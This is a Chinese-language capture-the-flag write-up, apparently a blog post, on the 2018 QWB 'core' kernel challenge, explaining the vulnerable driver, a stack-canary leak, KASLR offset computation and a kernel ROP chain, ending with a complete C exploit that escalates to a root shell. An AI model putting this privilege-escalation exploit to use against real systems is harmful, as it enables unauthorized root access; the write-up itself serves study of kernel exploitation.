# 2018 强网杯 core,作为 kernel 学习开始的记录,栈溢出,ret2rop

# 前置 zhishi

# 1. 题目环境

题目保护环境有两类,一类可执行文件的保护机制,一类是文件系统驱动内核的保护机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec core.ko
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

start.sh:
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
~

可以看到这里开启了 kaslr 保护。

# 2.

# canary

core.ko 开启了 canary,我们需要泄露他,进而构造 rop

# kaslr

kaslr 类似与用户 pwn 的 aslr 或者 pie,一种地址偏移技术。如果我们可以获取 vmlinux_base 就可以绕过这个,执行其他函数。

获取方式:head /proc/kallsyms 1,startup 对应的地址就是基址

img

# core_base

驱动加载地址,查看方式

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /proc/modules

cat /proc/devices

cat /proc/kallsyms

lsmod

dmesg


/ # lsmod
core 16384 0 - Live 0xffffffffc02aa000 (O)

# 题目分析

core.ko 就是我们需要利用的漏洞驱动

# #core_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 fd, int idx, __int64 user_buf)//fd是设备对应的文件描述符
{
switch ( idx )
{
case 0x6677889B:
core_read(user_buf);
break;
case 0x6677889C:
printk(&unk_2CD);
off = user_buf;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(user_buf);
break;
}
return 0LL;
}

根据我们的传参实现三种功能, case 0x6677889C: 实现我们控制 off 全局变量

# core_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char buf[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-10h]

canary = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = buf;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(buf, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &buf[off], 64LL); // 栈任意地址读
if ( !result )
return __readgsqword(0x28u) ^ canary;
__asm { swapgs }
return result;
}

控制 off 后,我们就可一计算 buf 与 canary 的编译,然后通过 copy_to_user 将 canary 泄露出来。

# core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 size)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( size > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)size);
}
return result;
}

传入负数就可以绕过检查,然后实现对 v2 的溢出。

# core_write

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 _buf, unsigned __int64 size)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, _buf, size) )
return (unsigned int)size;
printk(&unk_230);
return 4294967282LL;
}

将数据写入内核全局变量 name 中。

1、通过 /tmp/kallsyms 文件获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出所需 gadget 地址。2、对全局变量 off 赋值 0x40,通过 core_read 函数获得 canary 的值。3、构建好 ropchain,使用 core_write 函数将 ropchain 复制到内核态中 4、通过 core_copy_func 函数中的数值溢出造成的栈溢出漏洞,将 ropchain 放入栈中,退出函数时完成提权并返回用户态 getrootshell。

# 漏洞利用

kernel rop 相较于用户态 rop 的不同点吧。在用户态中我们的目的是为了获得 shell,也就是令程序执行诸如 system ("/bin/sh") 一类的函数,然而到了 kernel pwn 中我们的目的从原先的 getshell 变成了提权,也就是执行 commit_creds (prepare_kernel_cred (0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行 system ("/bin/sh") 获取 root 权限的 shell 才可以,所以在我看来 kernel rop 变得无非就是两步:执行提权函数,返回用户态获取 rootshell。从内核态返回用户态所需要用到的 swapgs 指令与 iretq 指令,前者是在从用户态进入内核态时,通过交换 IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq 指令则用来恢复用户态的 cs、ss、rsp、rip、rflags 的信息。其具体布局如下所示:

1
2
3
4
5
6
7
8
9
10
11
+-----------+			-----lower
| RIP |
+-----------+
| CS |
+-----------+
| rflags |
+-----------+
| RSP |
+-----------+
| SS | -----higher
+-----------+

在计算内核 gadget 地址的时候我们使用 ropper 得到的 gadget 地址需要加上 offset 才是真实地址,这个和用户态的一样很好理解,而这个 offset 的获取办法,因为程序将函数地址导入到了 /tmp/kallsyms 中,我们我们可以 cat 出函数的真实地址,然后减去函数的 textoffset,就得到了 vmlinux_base. 而刚才所说的 offset 就是 vmlinux_base 减去 raw_vmlinux_base,即 0xffffffff81000000 的值。这题我们可以直接获取 start_up64

1
2
3
4
5
6
7
8
9
10
dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec vmlinux
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

# 获取 vmlinux_base

打开 /tmp/kallsyms,获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出 gadget 的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int GetAddress() {
char *ptr; //stroull 的结束符号
char buf[0x30] = {0};
FILE* fd = fopen("/tmp/kallsyms","r"); //打开文件

if (!fd) {
puts("[-] ERROR.");
return 0;
}

while(fgets(buf, sizeof(buf), fd)) { //文件数据会进入缓存,然后再呗拷贝到buf,所以,buf会更新。
if (commit_creds && prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}

if (strstr(buf, "commit_creds")) { //string.h库的字符串比较函数,返回字串的位置指针
commit_creds = strtoull(buf, ptr, 16); //找到了地址,将地址转为unsigned long long
}
if (strstr(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = strtoull(buf, ptr, 16);
}

}

return 0;
}

/*实例
/ # cat /tmp/kallsyms | grep commit_creds
ffffffffba29c8e0 T commit_creds
/ #
*/

#返回用户态的准备,我们最终要返回用户太执行 system (’/bin/sh’),从你内核太返回的时候,iretq 会恢复某些寄存器的值。所以我们需要提前保存这些值。

1
2
3
4
5
6
7
8
9
10

void SaveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;" //所有的16位标志寄存器入栈
"pop user_rflags;"
);
}

这里才用汇编内联,将数据保存到全局变量中 user_cs, user_ss, user_sp,

core.ko 一个外设,但是再 linux 中,万物皆文件,所以只需要访问 /proc/core。

但是如何实现用户访问与内核的转换的呢?ioctl 函数提供响应的接口。设备对应的是 core_ioctl 函数。

首先我们要泄露 canary,通过分析,我们得知,buf 与 canary 的偏移量是 0x40,core_read 函数会把 buf 拷贝到我们的 user_buf 中。

1
2
ioctl(fd, CORE_OFF, 0x40);			//read canary to buf on kernel stack
ioctl(fd, 0x6677889B, user_buf); //canary in buf.copy it to user_buf that we can control.

下面我们就要构造 rop, 首先填充 v2 的八字节以及 canary,然后就是布置 gadget。说明一点,commit_creds (prepare_kernel_cred (0))是在内核态执行的,只有在返回用户态的时候(也就是我们执行完了提权,才需要布置额外的寄存器的数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int i=8;
char rop[0x100] = {0};
rop[i++] = canary;
rop[i++] = 0; //覆盖rbp
rop[i++] = pop_rdi; //rip
rop[i++] = 0; //rdi=0
rop[i++] = prepare_kernel_cred; //执行prepare_kernel_cred
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax; //将prepare_kernel_cred的返回值作为commit_creds的参数。mov_rdi_rax,jmp rdx.
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = swapgs; //gadget 是swapgs ;popfq;ret,
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)GetShell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

# 完整的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A

size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

int GetAddress() {
char *ptr;
char buf[0x30] = {0};
FILE* fd = fopen("/tmp/kallsyms","r");

if (!fd) {
puts("[-] ERROR.");
return 0;
}

while(fgets(buf, sizeof(buf), fd)) {
if (commit_creds && prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}

if (strstr(buf, "commit_creds")) {
commit_creds = strtoull(buf, ptr, 16);
}
if (strstr(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = strtoull(buf, ptr, 16);
}

}

return 0;
}

void SaveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void GetShell() {
if (!getuid()) {
system("/bin/sh");
}
else {
puts("[-] CAN NOT GETSHELL.");
exit(1);
}
}

void main() {
size_t rop[0x100];
char user_buf[0x40] = {0};
char* ptr;
int i = 8;

SaveStatus();
GetAddress();
vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - raw_vmlinux_base;
size_t pop_rdi = 0xffffffff81679ba8 + offset;
size_t pop_rdx = 0xffffffff810a0f49 + offset;
size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret;

int fd = open("/proc/core", 2);

if (!fd) {
puts("[-] OPEN /proc/core ERROR.");
exit(0);
}


ioctl(fd, CORE_OFF, 0x40);
ioctl(fd, 0x6677889B, user_buf); //canary in buf.
size_t canary = ((size_t*)user_buf)[0];
printf("[+] Find canary: 0x%llx\n", canary);

//commit_creads(prepare_kernel_cred(0));
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)GetShell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
//传入一个负数,因为会被转为16位(2bytes)无符号数,最后的调用为 qmemcpy(v2, &name, 0x100);
}

# 如何上穿 exp。?

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal